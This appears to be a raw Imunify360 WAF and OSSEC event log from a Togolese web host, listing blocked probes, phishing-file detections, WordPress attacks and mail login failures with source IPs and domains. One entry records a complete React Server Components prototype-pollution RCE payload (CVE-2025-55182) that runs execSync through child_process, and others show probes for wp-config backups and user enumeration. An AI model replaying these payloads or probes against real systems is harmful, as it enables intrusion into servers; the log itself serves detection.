abuser: 54.187.68.242
country_id: 6252001
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/auth/then/grzsrf/darryl@kimbarklaundry.com||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.100.56.30
country_id: 1831722
domain: snovich.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snovich.free.netmaster.tg/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.181.91.185
country_id: 1562822
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/?p=120 HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 60.191.125.35
country_id: 1814991
domain: 112.124.42.80:63435
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:HEAD http:/112.124.42.80:63435/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.161.153.166
country_id: 1210997
domain: www.arse.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tghttp/www.arse.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.229.163.164
country_id: 6252001
domain: 146.56.180.42:3333
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/146.56.180.42:3333/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.114.180.170
country_id: 587116
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/office365 HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 157.90.119.232
country_id: 2921044
domain: mahhong333.relanceinfo.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/Njkny48wsVSqFna9BnYa3JlveGT4vlOd2BXoThjtkxM||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 157.90.119.232
country_id: 2921044
domain: v77.relanceinfo.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/AvXhCFs4yxus8FCqbIlHxY2BXFQUi4CXWzN6vaHNlK0||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.155.65.130
country_id: 163843
domain: tdopz.free.netmaster.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdopz.free.netmaster.tg/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.225.156.14
country_id: 3469034
domain: www.cloud-et-racks.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cloud-et-racks.tghttp/www.cloud-et-racks.tg/?trk=public_post-text HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.155.13.158
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/trafic-de-produits-psychotropes-une-vingtaine-dindividus-interpelles-a-ouidah/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 52.0.245.198
country_id: 6252001
domain: www.cpanel.wise-olive-antelope.154-70-82-246.cpanel.site
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 159.89.138.113
country_id: 6252001
domain: 154.70.82.246
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:../dev/cmdb/sslvpn_websession HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.208.54.177
country_id: 1168579
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.203
country_id: 1880251
description:
47.128.96.203 - - [09/Jun/2026:20:18:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724040&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-appel-a-candidatures-pour-des-bourses-detudes-a-letranger-pour-des-nouveaux-bacheliers-voici-les-conditions-deligibilite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036297 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-appel-a-candidatures-pour-des-bourses-detudes-a-letranger-pour-des-nouveaux-bacheliers-voici-les-conditions-deligibilite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.203


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.194.80.14
country_id: 2017370
domain: www.gamestop.ca:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.gamestop.ca:80/index.php/user/gmlc/findadress.php?Shoulders=LONG-SLEEVES&Store=9&Trim=TRIM&pg=1&terms=PLACKET HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.196.57
country_id: 1562822
domain: www.afriquerevelation.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.afriquerevelation.tghttp/www.afriquerevelation.tg/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.227.86
country_id: 1562822
domain: belali.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/belali.tghttp/belali.tg/inscription-2020-2021/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 143.244.47.83
country_id: 6252001
domain: 127.0.0.1
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.4 Safari/537.36||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 200.162.146.90
country_id: 630336
domain: ceni.tg
description:
IM360 WAF: Bad file extension||RSV:8.14||T:APACHE||MVN:REQUEST_FILENAME||MV:/in/out/qkssbq/John.Doe@example.com||User:root||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 20.49.61.57
country_id: 6252001
domain: 154.70.82.244
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.13||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.216.193.107
country_id: 6252001
domain: www.www.sitewebofficiel.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 173.255.199.99
country_id: 6252001
domain: 35.162.208.238
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/35.162.208.238/azenv5.php HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.83.12.221
country_id: 3658394
domain: www.mediatopnews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mediatopnews.tghttp/www.mediatopnews.tg/ HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 31.134.9.174
country_id: 241170
domain: ns5.netmaster.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.13||T:APACHE||MV:/wp-json/wp/v2/users||


plugin: modsec
rule: 77093094
abuser: 47.251.42.6
country_id: 6252001
domain: 154.70.82.244
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.244.28.10
country_id: 3996063
domain: www.gamestop.ca:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.gamestop.ca:80/index.php?ceid=0f569e8f143d6bc5f9fa43317685fc75&manufacturers_id=2 HTTP/1.1||RSV:8.13||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.192
country_id: 2921044
domain: anamek.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ljrwwgxg/public_html/.875515202223897.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.49
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.844813122656237.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.110
country_id: 2635167
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.890797221726465.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.75
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.150872588730552.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.34
country_id: 2635167
domain: moodle.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/moodlefreenetmas/public_html/.455602527438689.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.88.153
country_id: 6252001
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.254469047147917.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.26
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.973422509958235.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.230
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.324409130858198.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.140
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.391297530342015.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.89
country_id: 2635167
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.491509556277860.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.34
country_id: 2635167
domain: afrique-distribution.net
description:
IM360 WAF: Possible phishing page detected||SC:/home/sadis/public_html/.101317996830231.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.178
country_id: 6252001
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.015092541634388.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.67
country_id: 6252001
domain: moodle.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/moodlefreenetmas/public_html/.648975830556915.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.78
country_id: 3017382
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.962635327499865.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.33
country_id: 2635167
domain: expire.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/expirefreenetmas/public_html/.019118475012368.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.67
country_id: 6252001
domain: fomda.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/tgkkwsvr/public_html/.697962659388595.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-09 20:18:58 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64073: 535 Incorrect authentication data (set_id=sales2)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.82.52
country_id: 6252001
domain: moodle.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/moodlefreenetmas/public_html/.441134334698656.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.201
country_id: 2921044
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.770157115241876.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.229
country_id: 2635167
domain: anamek.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ljrwwgxg/public_html/.945603897917761.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  9 20:18:56 ns5 auth[2599]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.67
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.271083119639692.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.135
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.391279379645124.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.230
country_id: 2635167
domain: expire.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/expirefreenetmas/public_html/.160678579922500.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.201
country_id: 2921044
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.963699205924224.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.163
country_id: 3017382
domain: moodle.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/moodlefreenetmas/public_html/.571024042590483.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.148
country_id: 2635167
domain: togofeed.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/qledpnjw/public_html/.763159949464954.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.43
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.225785558295101.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.240
country_id: 2635167
domain: sahamtg.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/sahamtg/public_html/.521009938638882.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.185
country_id: 2635167
domain: togofeed.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/qledpnjw/public_html/.775617210533497.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.23
country_id: 2635167
domain: moodle.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/moodlefreenetmas/public_html/.257894468441950.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.83.78
country_id: 6252001
domain: moodle.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/moodlefreenetmas/public_html/.529673454871030.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.88.153
country_id: 6252001
domain: ortouche.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/gsizyncj/public_html/.928504404103721.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.168
country_id: 6252001
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.486118603483314.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 216.189.152.232
country_id: 6252001
domain: fiu.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hnzwgoog/public_html/.782591865452896.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.202
country_id: 6252001
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.573522628569394.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.115
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.727070751802300.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.202
country_id: 6252001
domain: fastsolution.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/uypcrwbr/public_html/.729229716826312.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.202
country_id: 6252001
domain: moodle.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/moodlefreenetmas/public_html/.211633778550538.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.88.145
country_id: 6252001
domain: opa-conseils.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/lecdsntn/public_html/.197837095642801.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.125
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.580919284010993.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.68
country_id: 3017382
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.436517275378624.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.52
country_id: 2635167
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.909966515154521.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.166
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.953257657190398.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.14
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.656729897540430.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.46
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.563400153520590.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 102.211.168.154
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:elementorpro-410.zip||WPU:admin||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.112
country_id: 3017382
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.162014064191552.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.89
country_id: 2635167
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.458725449609927.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.192
country_id: 2921044
domain: soroubat.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/jdzxeovw/public_html/.959360140486681.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.233
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.276565605023430.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.24
country_id: 6252001
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.511309689053215.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.64.56
country_id: 3017382
domain: fundacionesperanzatogo.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mgvybwur/public_html/.288113344992275.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.202
country_id: 6252001
domain: fomda.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/tgkkwsvr/public_html/.462059521026039.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.112
country_id: 3017382
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.269996159591170.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.233
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.090119346376376.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.117
country_id: 2635167
domain: clients.cloud-et-racks.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nxpivbcy/public_html/.833795754714845.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.148
country_id: 2635167
domain: sophie-immobilier.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/mipbtgnb/public_html/.567562257317689.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.217
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.377205229262856.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.23
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.418779938503354.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 102.211.168.154
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:admin||WPU:admin||User:fhmqxwla||Script:/home/fhmqxwla/public_html/wp-login.php||RSV:8.15||T:APACHE||MV:/wp-login.php||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.78
country_id: 1880251
description:
47.128.121.78 - - [09/Jun/2026:20:19:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803114&pdata=https%253A%252F%252Ftogodailynews.tg%252Fsante-inauguration-de-lusp-de-binaparba%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781036368 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/sante-inauguration-de-lusp-de-binaparba/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.78


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.223
country_id: 6252001
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.767797354580250.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 134.195.83.109
country_id: 6252001
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.451611595399516.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.217
country_id: 2635167
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.070025432609045.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.146
country_id: 2635167
domain: cafeit.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cafeitadm/public_html/.897389138997436.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.19
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.736174444663394.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.148
country_id: 2635167
domain: scafricaplc.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zauwogvk/public_html/.847131767595447.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.62.223
country_id: 6252001
domain: festics.tg
